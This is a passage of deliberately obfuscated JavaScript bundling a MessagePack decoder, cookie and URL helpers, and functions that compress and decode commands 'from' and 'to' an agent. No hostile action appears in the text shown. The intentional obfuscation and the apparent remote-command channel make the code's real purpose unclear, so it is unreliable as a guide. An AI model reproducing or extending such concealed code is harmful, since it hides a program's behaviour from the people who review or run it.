| _0x2de69e3 = Uint8Array["prototype"]["slice"]["call"](_0x19dfe4, _0x107, _0x107 + _0x58c0b5); | |
| return this["store"](_0x2de69e3, _0x5ad3), _0x5ad3; | |
| } | |
| }, | |
| STATE_ARRAY = "array", | |
| STATE_MAP_KEY = "map_key", | |
| STATE_MAP_VALUE = "map_value", | |
| mapKeyConverter = _0x10c07c6 => { | |
| const _0x3ecb = potato; | |
| if (typeof _0x10c07c6 === "string" || typeof _0x10c07c6 === "number") return _0x10c07c6; | |
| throw new DecodeError("The type of key must be string or number but " + typeof _0x10c07c6); | |
| }, | |
| StackPool = class { | |
| constructor() { | |
| const _0x44a2c = potato; | |
| this["stack"] = [], this["stackHeadPosition"] = -1; | |
| } | |
| get["length"]() { | |
| const _0x22484a2 = potato; | |
| return this["stackHeadPosition"] + 1; | |
| } | |
| ["top"]() { | |
| const _0xf90dde2 = potato; | |
| return this["stack"][this["stackHeadPosition"]]; | |
| } | |
| ["pushArrayState"](_0x6b95db4) { | |
| const _0x122d = potato, | |
| _0x55e9c6 = this["getUninitializedStateFromPool"](); | |
| _0x55e9c6["type"] = STATE_ARRAY, _0x55e9c6["position"] = 0, _0x55e9c6["size"] = _0x6b95db4, _0x55e9c6["array"] = new Array(_0x6b95db4); | |
| } | |
| ["pushMapState"](_0x56d4) { | |
| const _0x108 = potato, | |
| _0x511b5 = this["getUninitializedStateFromPool"](); | |
| _0x511b5["type"] = STATE_MAP_KEY, _0x511b5["readCount"] = 0, _0x511b5["size"] = _0x56d4, _0x511b5["map"] = {}; | |
| } | |
| ["getUninitializedStateFromPool"]() { | |
| const _0x3d2c6d2 = potato; | |
| this["stackHeadPosition"]++; | |
| if (this["stackHeadPosition"] === this["stack"]["length"]) { | |
| const _0x16cfc2 = { | |
| "type": void 0, | |
| "size": 0, | |
| "array": void 0, | |
| "position": 0, | |
| "readCount": 0, | |
| "map": void 0, | |
| "key": null | |
| }; | |
| this["stack"]["push"](_0x16cfc2); | |
| } | |
| return this["stack"][this["stackHeadPosition"]]; | |
| } | |
| ["release"](_0x257fe8) { | |
| const _0x3aca9a2 = potato, | |
| _0xccd2 = this["stack"][this["stackHeadPosition"]]; | |
| if (_0xccd2 !== _0x257fe8) throw new Error("Invalid stack state. Released state is not on top of the stack."); | |
| if (_0x257fe8["type"] === STATE_ARRAY) { | |
| const _0x163df5 = _0x257fe8; | |
| _0x163df5["size"] = 0, _0x163df5["array"] = void 0, _0x163df5["position"] = 0, _0x163df5["type"] = void 0; | |
| } | |
| if (_0x257fe8["type"] === STATE_MAP_KEY || _0x257fe8["type"] === STATE_MAP_VALUE) { | |
| const _0x1af5 = _0x257fe8; | |
| _0x1af5["size"] = 0, _0x1af5["map"] = void 0, _0x1af5["readCount"] = 0, _0x1af5["type"] = void 0; | |
| } | |
| this["stackHeadPosition"]--; | |
| } | |
| ["reset"]() { | |
| const _0x22d4 = potato; | |
| this["stack"]["length"] = 0, this["stackHeadPosition"] = -1; | |
| } | |
| }, | |
| HEAD_BYTE_REQUIRED = -1, | |
| EMPTY_VIEW = new DataView(new ArrayBuffer(0)), | |
| EMPTY_BYTES = new Uint8Array(EMPTY_VIEW["buffer"]); | |
| try { | |
| EMPTY_VIEW["getInt8"](0); | |
| } catch (_0x2c8d9a3) { | |
| if (!(_0x2c8d9a3 instanceof RangeError)) throw new Error("This module is not supported in the current JavaScript engine because DataView does not throw RangeError on out-of-bounds access"); | |
| } | |
| var MORE_DATA = new RangeError("Insufficient data"), | |
| sharedCachedKeyDecoder = new CachedKeyDecoder(), | |
| Decoder = class _Decoder { | |
| constructor(_0x5d09be12) { | |
| const _0x5a7b5b2 = potato; | |
| this["totalPos"] = 0, this["pos"] = 0, this["view"] = EMPTY_VIEW, this["bytes"] = EMPTY_BYTES, this["headByte"] = HEAD_BYTE_REQUIRED, this["stack"] = new StackPool(), this["entered"] = ![], this["extensionCodec"] = _0x5d09be12?. ["extensionCodec"] ?? ExtensionCodec["defaultCodec"], this["context"] = _0x5d09be12?. ["context"], this["useBigInt64"] = _0x5d09be12?. ["useBigInt64"] ?? ![], this["rawStrings"] = _0x5d09be12?. ["rawStrings"] ?? ![], this["maxStrLength"] = _0x5d09be12?. ["maxStrLength"] ?? UINT32_MAX, this["maxBinLength"] = _0x5d09be12?. ["maxBinLength"] ?? UINT32_MAX, this["maxArrayLength"] = _0x5d09be12?. ["maxArrayLength"] ?? UINT32_MAX, this["maxMapLength"] = _0x5d09be12?. ["maxMapLength"] ?? UINT32_MAX, this["maxExtLength"] = _0x5d09be12?. ["maxExtLength"] ?? UINT32_MAX, this["keyDecoder"] = _0x5d09be12?. ["keyDecoder"] !== void 0 ? _0x5d09be12["keyDecoder"] : sharedCachedKeyDecoder, this["mapKeyConverter"] = _0x5d09be12?. ["mapKeyConverter"] ?? mapKeyConverter; | |
| } | |
| ["clone"]() { | |
| const _0x1f42b = potato; | |
| return new _Decoder({ | |
| "extensionCodec": this["extensionCodec"], | |
| "context": this["context"], | |
| "useBigInt64": this["useBigInt64"], | |
| "rawStrings": this["rawStrings"], | |
| "maxStrLength": this["maxStrLength"], | |
| "maxBinLength": this["maxBinLength"], | |
| "maxArrayLength": this["maxArrayLength"], | |
| "maxMapLength": this["maxMapLength"], | |
| "maxExtLength": this["maxExtLength"], | |
| "keyDecoder": this["keyDecoder"] | |
| }); | |
| } | |
| ["reinitializeState"]() { | |
| const _0xf11af = potato; | |
| this["totalPos"] = 0, this["headByte"] = HEAD_BYTE_REQUIRED, this["stack"]["reset"](); | |
| } | |
| ["setBuffer"](_0x210d2) { | |
| const _0x1b02b = potato, | |
| _0xdb32a6 = ensureUint8Array(_0x210d2); | |
| this["bytes"] = _0xdb32a6, this["view"] = new DataView(_0xdb32a6["buffer"], _0xdb32a6["byteOffset"], _0xdb32a6["byteLength"]), this["pos"] = 0; | |
| } | |
| ["appendBuffer"](_0x2529fa4) { | |
| const _0xf6c1e = potato; | |
| if (this["headByte"] === HEAD_BYTE_REQUIRED && !this["hasRemaining"](1)) this["setBuffer"](_0x2529fa4); | |
| else { | |
| const _0x11adea5 = this["bytes"]["subarray"](this["pos"]), | |
| _0x47c3 = ensureUint8Array(_0x2529fa4), | |
| _0x46e43d5 = new Uint8Array(_0x11adea5["length"] + _0x47c3["length"]); | |
| _0x46e43d5["set"](_0x11adea5), _0x46e43d5["set"](_0x47c3, _0x11adea5["length"]), this["setBuffer"](_0x46e43d5); | |
| } | |
| } | |
| ["hasRemaining"](_0x27a1ba3) { | |
| const _0x19ca = potato; | |
| return this["view"]["byteLength"] - this["pos"] >= _0x27a1ba3; | |
| } | |
| ["createExtraByteError"](_0x1b223f3) { | |
| const _0x3c9bc = potato, | |
| { | |
| view: _0x54c3, | |
| pos: _0x2e54d2 | |
| } = this; | |
| return new RangeError("Extra " + (_0x54c3["byteLength"] - _0x2e54d2) + " of " + _0x54c3["byteLength"] + " byte(s) found at buffer[" + _0x1b223f3 + "]"); | |
| } | |
| ["decode"](_0x5e9d7a4) { | |
| const _0x1c61d = potato; | |
| if (this["entered"]) { | |
| const _0xe7fc2 = this["clone"](); | |
| return _0xe7fc2["decode"](_0x5e9d7a4); | |
| } | |
| try { | |
| this["entered"] = !![], this["reinitializeState"](), this["setBuffer"](_0x5e9d7a4); | |
| const _0x3c956d3 = this["doDecodeSync"](); | |
| if (this["hasRemaining"](1)) throw this["createExtraByteError"](this["pos"]); | |
| return _0x3c956d3; | |
| } finally { | |
| this["entered"] = ![]; | |
| } | |
| } | |
| *["decodeMulti"](_0x36a9e4) { | |
| const _0x9dac = potato; | |
| if (this["entered"]) { | |
| const _0x46fadf3 = this["clone"](); | |
| yield* _0x46fadf3["decodeMulti"](_0x36a9e4); | |
| return; | |
| } | |
| try { | |
| this["entered"] = !![], this["reinitializeState"](), this["setBuffer"](_0x36a9e4); | |
| while (this["hasRemaining"](1)) { | |
| yield this["doDecodeSync"](); | |
| } | |
| } finally { | |
| this["entered"] = ![]; | |
| } | |
| } | |
| async ["decodeAsync"](_0x3e3) { | |
| const _0x1a3fa = potato; | |
| if (this["entered"]) { | |
| const _0x1ee04d3 = this["clone"](); | |
| return _0x1ee04d3["decodeAsync"](_0x3e3); | |
| } | |
| try { | |
| this["entered"] = !![]; | |
| let _0x3f6c4 = ![], | |
| _0x31c55d4; | |
| for await (const _0x2dfb2 of _0x3e3) { | |
| if (_0x3f6c4) { | |
| this["entered"] = ![]; | |
| throw this["createExtraByteError"](this["totalPos"]); | |
| } | |
| this["appendBuffer"](_0x2dfb2); | |
| try { | |
| _0x31c55d4 = this["doDecodeSync"](), _0x3f6c4 = !![]; | |
| } catch (_0xee3) { | |
| if (!(_0xee3 instanceof RangeError)) throw _0xee3; | |
| } | |
| this["totalPos"] += this["pos"]; | |
| } | |
| if (_0x3f6c4) { | |
| if (this["hasRemaining"](1)) throw this["createExtraByteError"](this["totalPos"]); | |
| return _0x31c55d4; | |
| } | |
| const { | |
| headByte: _0x1fe98b3, | |
| pos: _0x2858d2, | |
| totalPos: _0x6ef2 | |
| } = this; | |
| throw new RangeError("Insufficient data in parsing " + prettyByte(_0x1fe98b3) + " at " + _0x6ef2 + " (" + _0x2858d2 + " in the current buffer)"); | |
| } finally { | |
| this["entered"] = ![]; | |
| } | |
| } | |
| ["decodeArrayStream"](_0x1956c3) { | |
| const _0x42c = potato; | |
| return this["decodeMultiAsync"](_0x1956c3, !![]); | |
| } | |
| ["decodeStream"](_0xd3117a3) { | |
| const _0x17f = potato; | |
| return this["decodeMultiAsync"](_0xd3117a3, ![]); | |
| } | |
| async *["decodeMultiAsync"](_0x5566aa4, _0x396c4) { | |
| const _0x109 = potato; | |
| if (this["entered"]) { | |
| const _0x37588c3 = this["clone"](); | |
| yield* _0x37588c3["decodeMultiAsync"](_0x5566aa4, _0x396c4); | |
| return; | |
| } | |
| try { | |
| this["entered"] = !![]; | |
| let _0x15ab3 = _0x396c4, | |
| _0x1ad11d5 = -1; | |
| for await (const _0x1c3df2 of _0x5566aa4) { | |
| if (_0x396c4 && _0x1ad11d5 === 0) throw this["createExtraByteError"](this["totalPos"]); | |
| this["appendBuffer"](_0x1c3df2); | |
| _0x15ab3 && (_0x1ad11d5 = this["readArraySize"](), _0x15ab3 = ![], this["complete"]()); | |
| try { | |
| while (!![]) { | |
| yield this["doDecodeSync"](); | |
| if (--_0x1ad11d5 === 0) break; | |
| } | |
| } catch (_0x4df5d3) { | |
| if (!(_0x4df5d3 instanceof RangeError)) throw _0x4df5d3; | |
| } | |
| this["totalPos"] += this["pos"]; | |
| } | |
| } finally { | |
| this["entered"] = ![]; | |
| } | |
| } | |
| ["doDecodeSync"]() { | |
| const _0x2d3d7b2 = potato; | |
| _0x1b39bc: while (!![]) { | |
| const _0x64e41 = this["readHeadByte"](); | |
| let _0x155; | |
| if (_0x64e41 >= 224) _0x155 = _0x64e41 - 256; | |
| else { | |
| if (_0x64e41 < 192) { | |
| if (_0x64e41 < 128) _0x155 = _0x64e41; | |
| else { | |
| if (_0x64e41 < 144) { | |
| const _0x1289b3 = _0x64e41 - 128; | |
| if (_0x1289b3 !== 0) { | |
| this["pushMapState"](_0x1289b3), this["complete"](); | |
| continue _0x1b39bc; | |
| } else _0x155 = {}; | |
| } else { | |
| if (_0x64e41 < 160) { | |
| const _0x419b7e4 = _0x64e41 - 144; | |
| if (_0x419b7e4 !== 0) { | |
| this["pushArrayState"](_0x419b7e4), this["complete"](); | |
| continue _0x1b39bc; | |
| } else _0x155 = []; | |
| } else { | |
| const _0x318ee2 = _0x64e41 - 160; | |
| _0x155 = this["decodeString"](_0x318ee2, 0); | |
| } | |
| } | |
| } | |
| } else { | |
| if (_0x64e41 === 192) _0x155 = null; | |
| else { | |
| if (_0x64e41 === 194) _0x155 = ![]; | |
| else { | |
| if (_0x64e41 === 195) _0x155 = !![]; | |
| else { | |
| if (_0x64e41 === 202) _0x155 = this["readF32"](); | |
| else { | |
| if (_0x64e41 === 203) _0x155 = this["readF64"](); | |
| else { | |
| if (_0x64e41 === 204) _0x155 = this["readU8"](); | |
| else { | |
| if (_0x64e41 === 205) _0x155 = this["readU16"](); | |
| else { | |
| if (_0x64e41 === 206) _0x155 = this["readU32"](); | |
| else { | |
| if (_0x64e41 === 207) this["useBigInt64"] ? _0x155 = this["readU64AsBigInt"]() : _0x155 = this["readU64"](); | |
| else { | |
| if (_0x64e41 === 208) _0x155 = this["readI8"](); | |
| else { | |
| if (_0x64e41 === 209) _0x155 = this["readI16"](); | |
| else { | |
| if (_0x64e41 === 210) _0x155 = this["readI32"](); | |
| else { | |
| if (_0x64e41 === 211) this["useBigInt64"] ? _0x155 = this["readI64AsBigInt"]() : _0x155 = this["readI64"](); | |
| else { | |
| if (_0x64e41 === 217) { | |
| const _0x234e2 = this["lookU8"](); | |
| _0x155 = this["decodeString"](_0x234e2, 1); | |
| } else { | |
| if (_0x64e41 === 218) { | |
| const _0x302a2 = this["lookU16"](); | |
| _0x155 = this["decodeString"](_0x302a2, 2); | |
| } else { | |
| if (_0x64e41 === 219) { | |
| const _0x99524e3 = this["lookU32"](); | |
| _0x155 = this["decodeString"](_0x99524e3, 4); | |
| } else { | |
| if (_0x64e41 === 220) { | |
| const _0x36b4ef4 = this["readU16"](); | |
| if (_0x36b4ef4 !== 0) { | |
| this["pushArrayState"](_0x36b4ef4), this["complete"](); | |
| continue _0x1b39bc; | |
| } else _0x155 = []; | |
| } else { | |
| if (_0x64e41 === 221) { | |
| const _0x100e3 = this["readU32"](); | |
| if (_0x100e3 !== 0) { | |
| this["pushArrayState"](_0x100e3), this["complete"](); | |
| continue _0x1b39bc; | |
| } else _0x155 = []; | |
| } else { | |
| if (_0x64e41 === 222) { | |
| const _0x142bbf4 = this["readU16"](); | |
| if (_0x142bbf4 !== 0) { | |
| this["pushMapState"](_0x142bbf4), this["complete"](); | |
| continue _0x1b39bc; | |
| } else _0x155 = {}; | |
| } else { | |
| if (_0x64e41 === 223) { | |
| const _0x46ab5e4 = this["readU32"](); | |
| if (_0x46ab5e4 !== 0) { | |
| this["pushMapState"](_0x46ab5e4), this["complete"](); | |
| continue _0x1b39bc; | |
| } else _0x155 = {}; | |
| } else { | |
| if (_0x64e41 === 196) { | |
| const _0x1c2 = this["lookU8"](); | |
| _0x155 = this["decodeBinary"](_0x1c2, 1); | |
| } else { | |
| if (_0x64e41 === 197) { | |
| const _0xdda2 = this["lookU16"](); | |
| _0x155 = this["decodeBinary"](_0xdda2, 2); | |
| } else { | |
| if (_0x64e41 === 198) { | |
| const _0x49c2 = this["lookU32"](); | |
| _0x155 = this["decodeBinary"](_0x49c2, 4); | |
| } else { | |
| if (_0x64e41 === 212) _0x155 = this["decodeExtension"](1, 0); | |
| else { | |
| if (_0x64e41 === 213) _0x155 = this["decodeExtension"](2, 0); | |
| else { | |
| if (_0x64e41 === 214) _0x155 = this["decodeExtension"](4, 0); | |
| else { | |
| if (_0x64e41 === 215) _0x155 = this["decodeExtension"](8, 0); | |
| else { | |
| if (_0x64e41 === 216) _0x155 = this["decodeExtension"](16, 0); | |
| else { | |
| if (_0x64e41 === 199) { | |
| const _0x37a3bb3 = this["lookU8"](); | |
| _0x155 = this["decodeExtension"](_0x37a3bb3, 1); | |
| } else { | |
| if (_0x64e41 === 200) { | |
| const _0x1f37de3 = this["lookU16"](); | |
| _0x155 = this["decodeExtension"](_0x1f37de3, 2); | |
| } else { | |
| if (_0x64e41 === 201) { | |
| const _0x313c2 = this["lookU32"](); | |
| _0x155 = this["decodeExtension"](_0x313c2, 4); | |
| } else throw new DecodeError("Unrecognized type byte: " + prettyByte(_0x64e41)); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| this["complete"](); | |
| const _0x1000e5 = this["stack"]; | |
| while (_0x1000e5["length"] > 0) { | |
| const _0x1c720f20 = _0x1000e5["top"](); | |
| if (_0x1c720f20["type"] === STATE_ARRAY) { | |
| _0x1c720f20["array"][_0x1c720f20["position"]] = _0x155, _0x1c720f20["position"]++; | |
| if (_0x1c720f20["position"] === _0x1c720f20["size"]) _0x155 = _0x1c720f20["array"], _0x1000e5["release"](_0x1c720f20); | |
| else continue _0x1b39bc; | |
| } else { | |
| if (_0x1c720f20["type"] === STATE_MAP_KEY) { | |
| if (_0x155 === "__proto__") throw new DecodeError("The key __proto__ is not allowed"); | |
| _0x1c720f20["key"] = this["mapKeyConverter"](_0x155), _0x1c720f20["type"] = STATE_MAP_VALUE; | |
| continue _0x1b39bc; | |
| } else { | |
| _0x1c720f20["map"][_0x1c720f20["key"]] = _0x155, _0x1c720f20["readCount"]++; | |
| if (_0x1c720f20["readCount"] === _0x1c720f20["size"]) _0x155 = _0x1c720f20["map"], _0x1000e5["release"](_0x1c720f20); | |
| else { | |
| _0x1c720f20["key"] = null, _0x1c720f20["type"] = STATE_MAP_KEY; | |
| continue _0x1b39bc; | |
| } | |
| } | |
| } | |
| } | |
| return _0x155; | |
| } | |
| } | |
| ["readHeadByte"]() { | |
| const _0x3b84b = potato; | |
| return this["headByte"] === HEAD_BYTE_REQUIRED && (this["headByte"] = this["readU8"]()), this["headByte"]; | |
| } | |
| ["complete"]() { | |
| const _0x5d91bb2 = potato; | |
| this["headByte"] = HEAD_BYTE_REQUIRED; | |
| } | |
| ["readArraySize"]() { | |
| const _0x5d38d = potato, | |
| _0x1c277d6 = this["readHeadByte"](); | |
| switch (_0x1c277d6) { | |
| case 220: | |
| return this["readU16"](); | |
| case 221: | |
| return this["readU32"](); | |
| default: { | |
| if (_0x1c277d6 < 160) return _0x1c277d6 - 144; | |
| else throw new DecodeError("Unrecognized array type byte: " + prettyByte(_0x1c277d6)); | |
| } | |
| } | |
| } | |
| ["pushMapState"](_0x185d4) { | |
| const _0x15bb5e2 = potato; | |
| if (_0x185d4 > this["maxMapLength"]) throw new DecodeError("Max length exceeded: map length (" + _0x185d4 + ") > maxMapLengthLength (" + this["maxMapLength"] + ")"); | |
| this["stack"]["pushMapState"](_0x185d4); | |
| } | |
| ["pushArrayState"](_0x46b4) { | |
| const _0x3e6cd = potato; | |
| if (_0x46b4 > this["maxArrayLength"]) throw new DecodeError("Max length exceeded: array length (" + _0x46b4 + ") > maxArrayLength (" + this["maxArrayLength"] + ")"); | |
| this["stack"]["pushArrayState"](_0x46b4); | |
| } | |
| ["decodeString"](_0x592c3, _0x33b4fd4) { | |
| const _0x156 = potato; | |
| if (!this["rawStrings"] || this["stateIsMapKey"]()) return this["decodeUtf8String"](_0x592c3, _0x33b4fd4); | |
| return this["decodeBinary"](_0x592c3, _0x33b4fd4); | |
| } | |
| ["decodeUtf8String"](_0x1c0, _0x1be4) { | |
| const _0x2e = potato; | |
| if (_0x1c0 > this["maxStrLength"]) throw new DecodeError("Max length exceeded: UTF-8 byte length (" + _0x1c0 + ") > maxStrLength (" + this["maxStrLength"] + ")"); | |
| if (this["bytes"]["byteLength"] < this["pos"] + _0x1be4 + _0x1c0) throw MORE_DATA; | |
| const _0x35e3 = this["pos"] + _0x1be4; | |
| let _0x3911fa5; | |
| return this["stateIsMapKey"]() && this["keyDecoder"]?. ["canBeCached"](_0x1c0) ? _0x3911fa5 = this["keyDecoder"]["decode"](this["bytes"], _0x35e3, _0x1c0) : _0x3911fa5 = utf8Decode(this["bytes"], _0x35e3, _0x1c0), this["pos"] += _0x1be4 + _0x1c0, _0x3911fa5; | |
| } | |
| ["stateIsMapKey"]() { | |
| const _0x20eb = potato; | |
| if (this["stack"]["length"] > 0) { | |
| const _0x2883ab3 = this["stack"]["top"](); | |
| return _0x2883ab3["type"] === STATE_MAP_KEY; | |
| } | |
| return ![]; | |
| } | |
| ["decodeBinary"](_0x4c0c2d7, _0x161) { | |
| const _0x1c1 = potato; | |
| if (_0x4c0c2d7 > this["maxBinLength"]) throw new DecodeError("Max length exceeded: bin length (" + _0x4c0c2d7 + ") > maxBinLength (" + this["maxBinLength"] + ")"); | |
| if (!this["hasRemaining"](_0x4c0c2d7 + _0x161)) throw MORE_DATA; | |
| const _0x2e4 = this["pos"] + _0x161, | |
| _0x162 = this["bytes"]["subarray"](_0x2e4, _0x2e4 + _0x4c0c2d7); | |
| return this["pos"] += _0x161 + _0x4c0c2d7, _0x162; | |
| } | |
| ["decodeExtension"](_0x4de04a5, _0xc087cc4) { | |
| const _0xc02a = potato; | |
| if (_0x4de04a5 > this["maxExtLength"]) throw new DecodeError("Max length exceeded: ext length (" + _0x4de04a5 + ") > maxExtLength (" + this["maxExtLength"] + ")"); | |
| const _0x4fe1a2 = this["view"]["getInt8"](this["pos"] + _0xc087cc4), | |
| _0x164 = this["decodeBinary"](_0x4de04a5, _0xc087cc4 + 1); | |
| return this["extensionCodec"]["decode"](_0x164, _0x4fe1a2, this["context"]); | |
| } | |
| ["lookU8"]() { | |
| return this["view"]["getUint8"](this["pos"]); | |
| } | |
| ["lookU16"]() { | |
| const _0x56bd = potato; | |
| return this["view"]["getUint16"](this["pos"]); | |
| } | |
| ["lookU32"]() { | |
| const _0x42a17f2 = potato; | |
| return this["view"]["getUint32"](this["pos"]); | |
| } | |
| ["readU8"]() { | |
| const _0x1a752d2 = potato, | |
| _0x5151f2 = this["view"]["getUint8"](this["pos"]); | |
| return this["pos"]++, _0x5151f2; | |
| } | |
| ["readI8"]() { | |
| const _0x5a9cea2 = potato, | |
| _0x2d2 = this["view"]["getInt8"](this["pos"]); | |
| return this["pos"]++, _0x2d2; | |
| } | |
| ["readU16"]() { | |
| const _0x165 = potato, | |
| _0x506a9a3 = this["view"]["getUint16"](this["pos"]); | |
| return this["pos"] += 2, _0x506a9a3; | |
| } | |
| ["readI16"]() { | |
| const _0x4b9 = potato, | |
| _0x126a8f3 = this["view"]["getInt16"](this["pos"]); | |
| return this["pos"] += 2, _0x126a8f3; | |
| } | |
| ["readU32"]() { | |
| const _0xd89e7e2 = potato, | |
| _0x564adf3 = this["view"]["getUint32"](this["pos"]); | |
| return this["pos"] += 4, _0x564adf3; | |
| } | |
| ["readI32"]() { | |
| const _0x166 = potato, | |
| _0x14753a3 = this["view"]["getInt32"](this["pos"]); | |
| return this["pos"] += 4, _0x14753a3; | |
| } | |
| ["readU64"]() { | |
| const _0x5130cf2 = potato, | |
| _0x3eb30d3 = getUint64(this["view"], this["pos"]); | |
| return this["pos"] += 8, _0x3eb30d3; | |
| } | |
| ["readI64"]() { | |
| const _0x5f383c2 = potato, | |
| _0x47dbc2 = getInt64(this["view"], this["pos"]); | |
| return this["pos"] += 8, _0x47dbc2; | |
| } | |
| ["readU64AsBigInt"]() { | |
| const _0x45e11d2 = potato, | |
| _0x46fe1e3 = this["view"]["getBigUint64"](this["pos"]); | |
| return this["pos"] += 8, _0x46fe1e3; | |
| } | |
| ["readI64AsBigInt"]() { | |
| const _0x20c8a = potato, | |
| _0x5125b2 = this["view"]["getBigInt64"](this["pos"]); | |
| return this["pos"] += 8, _0x5125b2; | |
| } | |
| ["readF32"]() { | |
| const _0x3ac = potato, | |
| _0x37a7e2 = this["view"]["getFloat32"](this["pos"]); | |
| return this["pos"] += 4, _0x37a7e2; | |
| } | |
| ["readF64"]() { | |
| const _0x570f1c2 = potato, | |
| _0x72a75e3 = this["view"]["getFloat64"](this["pos"]); | |
| return this["pos"] += 8, _0x72a75e3; | |
| } | |
| }; | |
| function decode(_0x168, _0x3d2) { | |
| const _0x5818e = potato, | |
| _0x49dec2 = new Decoder(_0x3d2); | |
| return _0x49dec2["decode"](_0x168); | |
| } | |
| var import_node_buffer = require("node:buffer"), | |
| import_node_zlib = __toESM(require("node:zlib")); | |
| async function serizalizeCommandFromAgent(_0x2bbf2) { | |
| const _0x89c = potato, | |
| _0x5a2 = await encode(_0x2bbf2), | |
| _0x46e03d3 = await new Promise((_0x43f2, _0x22992e3) => { | |
| import_node_zlib["default"]["deflate"](_0x5a2, (_0x5985d4, _0x3e5) => { | |
| _0x5985d4 && _0x22992e3(_0x5985d4), _0x43f2(_0x3e5); | |
| }); | |
| }); | |
| return import_node_buffer["Buffer"]["from"](_0x46e03d3); | |
| } | |
| async function deserializeCommandToAgent(_0x1247c2) { | |
| const _0x88b7d2 = await new Promise((_0x170, _0x2b378d3) => { | |
| const _0x3aaa8d2 = perpetual; | |
| import_node_zlib["default"]["inflate"](_0x1247c2, (_0x99dd3, _0xfbe2) => { | |
| _0x99dd3 && _0x2b378d3(_0x99dd3), _0x170(_0xfbe2); | |
| }); | |
| }), | |
| _0x12c0b2 = await decode(_0x88b7d2); | |
| return _0x12c0b2; | |
| } | |
| var _serialize = (_0x4aeca4, _0x3e3dc2, _0x5eb26 = {}) => { | |
| const _0x5078cf2 = potato; | |
| let _0x5ece1 = _0x4aeca4 + "=" + _0x3e3dc2; | |
| if (_0x4aeca4["startsWith"]("__Secure-") && !_0x5eb26["secure"]) throw new Error("__Secure- Cookie must have Secure attributes"); | |
| if (_0x4aeca4["startsWith"]("__Host-")) { | |
| if (!_0x5eb26["secure"]) throw new Error("__Host- Cookie must have Secure attributes"); | |
| if (_0x5eb26["path"] !== "/") throw new Error("__Host- Cookie must have Path attributes with \"/\""); | |
| if (_0x5eb26["domain"]) throw new Error("__Host- Cookie must not have Domain attributes"); | |
| } | |
| if (_0x5eb26 && typeof _0x5eb26["maxAge"] === "number" && _0x5eb26["maxAge"] >= 0) { | |
| if (_0x5eb26["maxAge"] > 34560000) throw new Error("Cookies Max-Age SHOULD NOT be greater than 400 days (34560000 seconds) in duration."); | |
| _0x5ece1 += "; Max-Age=" + (_0x5eb26["maxAge"] | 0); | |
| } | |
| _0x5eb26["domain"] && _0x5eb26["prefix"] !== "host" && (_0x5ece1 += "; Domain=" + _0x5eb26["domain"]); | |
| _0x5eb26["path"] && (_0x5ece1 += "; Path=" + _0x5eb26["path"]); | |
| if (_0x5eb26["expires"]) { | |
| if (_0x5eb26["expires"]["getTime"]() - Date["now"]() > 34560000000) throw new Error("Cookies Expires SHOULD NOT be greater than 400 days (34560000 seconds) in the future."); | |
| _0x5ece1 += "; Expires=" + _0x5eb26["expires"]["toUTCString"](); | |
| } | |
| _0x5eb26["httpOnly"] && (_0x5ece1 += "; HttpOnly"); | |
| _0x5eb26["secure"] && (_0x5ece1 += "; Secure"); | |
| _0x5eb26["sameSite"] && (_0x5ece1 += "; SameSite=" + (_0x5eb26["sameSite"]["charAt"](0)["toUpperCase"]() + _0x5eb26["sameSite"]["slice"](1))); | |
| _0x5eb26["priority"] && (_0x5ece1 += "; Priority=" + (_0x5eb26["priority"]["charAt"](0)["toUpperCase"]() + _0x5eb26["priority"]["slice"](1))); | |
| if (_0x5eb26["partitioned"]) { | |
| if (!_0x5eb26["secure"]) throw new Error("Partitioned Cookie must have Secure attributes"); | |
| _0x5ece1 += "; Partitioned"; | |
| } | |
| return _0x5ece1; | |
| }, | |
| serialize = (_0x3571e2, _0x174, _0xea0ef2) => { | |
| return _0x174 = encodeURIComponent(_0x174), _serialize(_0x3571e2, _0x174, _0xea0ef2); | |
| }, | |
| mergePath = (_0x4bdd6, _0x158c4) => { | |
| const _0x4cc = potato; | |
| return _0x4bdd6 = _0x4bdd6["replace"](/\/+$/, ""), _0x4bdd6 = _0x4bdd6 + "/", _0x158c4 = _0x158c4["replace"](/^\/+/, ""), _0x4bdd6 + _0x158c4; | |
| }, | |
| replaceUrlParam = (_0x1a95fd5, _0x52e0ea3) => { | |
| const _0x1c10 = potato; | |
| for (const [_0x197af3, _0x47a3] of Object["entries"](_0x52e0ea3)) { | |
| const _0x580add3 = new RegExp("/:" + _0x197af3 + "(?:{[^/]+})?\\??"); | |
| _0x1a95fd5 = _0x1a95fd5["replace"](_0x580add3, _0x47a3 ? "/" + _0x47a3 : ""); | |
| } | |
| return _0x1a95fd5; | |
| }, | |
| buildSearchParams = _0x51ba3d3 => { | |
| const _0x175 = potato, | |
| _0x4cfe4 = new URLSearchParams(); | |
| for (const [_0x42d3, _0x1f43ba6] of Object["entries"](_0x51ba3d3)) { | |
| if (_0x1f43ba6 === void 0) continue; | |
| if (Array["isArray"](_0x1f43ba6)) | |
| for (const _0xeaa7e2 of _0x1f43ba6) { | |
| _0x4cfe4["append"](_0x42d3, _0xeaa7e2); | |
| } else _0x4cfe4["set"](_0x42d3, _0x1f43ba6); | |
| } | |
| return _0x4cfe4; | |
| }, | |
| replaceUrlProtocol = (_0x357e2f4, _0x3f2) => { | |
| const _0x5af = potato; | |
| switch (_0x3f2) { | |
| case "ws": | |
| return _0x357e2f4["replace"](/^http/, "ws"); | |
| case "http": | |
| return _0x357e2f4["replace"](/^ws/, "http"); | |
| } | |
| }, | |
| removeIndexString = _0x53f86f5 => { | |
| const _0x1d89d = potato; | |
| if (/^https?:\/\/[^\/]+?\/index(?=\?|$)/ ["test"](_0x53f86f5)) return _0x53f86f5["replace"](/\/index(?=\?|$)/, "/"); | |
| return _0x53f86f5["replace"](/\/index(?=\?|$)/, ""); | |
| }; | |
| function isObject(_0x52795e5) { | |
| return typeof _0x52795e5 === "object" && _0x52795e5 !== null && !Array["isArray"](_0x52795e5); | |
| } | |
| function deepMerge(_0x178, _0x3dec2b6) { | |
| if (!isObject(_0x178) && !isObject(_0x3dec2b6)) return _0x3dec2b6; | |
| const _0x36c6c7 = { | |
| ..._0x178 | |
| }; | |
| for (const _0x1240ea7 in _0x3dec2b6) { | |
| const _0x5c44ac5 = _0x3dec2b6[_0x1240ea7]; | |
